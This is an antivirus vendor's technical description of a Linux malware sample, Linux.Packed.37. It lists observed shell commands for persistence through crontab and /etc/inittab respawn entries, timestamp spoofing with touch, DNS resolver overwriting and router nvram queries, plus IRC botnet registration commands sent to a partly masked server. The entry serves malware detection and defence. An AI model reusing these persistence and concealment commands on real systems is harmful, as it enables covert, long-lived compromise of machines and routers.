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Linux.Packed.37

Added to the Dr.Web virus database: 2017-09-27

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/inittab
  • /etc/rc.local
Malicious functions:
Launches itself as a daemon
Modifies router settings:
  • /bin/nvram
Launches processes:
  • sh -c echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &
  • sh -c chmod 700 <SAMPLE_FULL_PATH> > /dev/null 2>&1 &
  • chmod 700 <SAMPLE_FULL_PATH>
  • sh -c touch -acmr /bin/ls <SAMPLE_FULL_PATH>
  • touch -acmr /bin/ls <SAMPLE_FULL_PATH>
  • sh -c (crontab -l | grep -v \"<SAMPLE_FULL_PATH>\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x00846930886) > /dev/null 2>&1
  • crontab -l
  • grep -v no cron
  • grep -v <SAMPLE_FULL_PATH>
  • grep -v lesshts/run.sh
  • sh -c echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\" >> /var/run/.x00846930886
  • sh -c crontab /var/run/.x00846930886
  • crontab /var/run/.x00846930886
  • sh -c rm -rf /var/run/.x00846930886
  • rm -rf /var/run/.x00846930886
  • sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
  • cat /etc/inittab
  • sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
  • sh -c cat /etc/inittab2 > /etc/inittab
  • cat /etc/inittab2
  • sh -c rm -rf /etc/inittab2
  • rm -rf /etc/inittab2
  • sh -c touch -acmr /bin/ls /etc/inittab
  • touch -acmr /bin/ls /etc/inittab
  • sh -c /bin/uname -n
  • sh -c nvram get router_name
  • /bin/uname -n
Performs operations with the file system:
Modifies file access rights:
  • <SAMPLE_FULL_PATH>
  • /var/spool/cron/crontabs/tmp.mU04p8
Creates or modifies files:
  • /etc/resolv.conf
  • /var/run/.x00846930886
  • /run/.x00846930886
  • /var/spool/cron/crontabs/tmp.mU04p8
  • /etc/inittab2
Deletes files:
  • /var/run/.x00846930886
  • /etc/inittab2
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:61003
Establishes connection:
  • 66.##.190.236:9090
Connects to the following servers over the IRC protocol:
  • Server: 66.##.190.236; Command: NICK Mps|0|301820|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: PONG :9FC0CFA2\n
  • Server: 66.##.190.236; Command: NICK Mps|0|957145|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: PONG :10AF16E8\n
  • Server: 66.##.190.236; Command: NICK Mps|0|370192|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: PONG :3F2A44C5\n
  • Server: 66.##.190.236; Command: NICK Mps|0|293308|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: PONG :99347E27\n
  • Server: 66.##.190.236; Command: NICK Mps|0|515290|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|433291|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|258629|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|207509|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|068492|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|916230|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|306465|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|936342|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|436503|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|044871|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|925213|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|978723|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|778213|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|275221|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|812936|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|588377|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|020689|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|035192|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|123046|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|631319|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|978880|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|782619|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|900112|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|490221|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|410298|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|793367|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|657766|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|609181|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|137459|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|383968|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|162900|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|753264|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|468686|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|244419|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
  • Server: 66.##.190.236; Command: NICK Mps|0|888931|unknown\nUSER x00 localhost localhost :1.0+tftp_jun112017\n
Other:
Collects OS information

Curing recommendations


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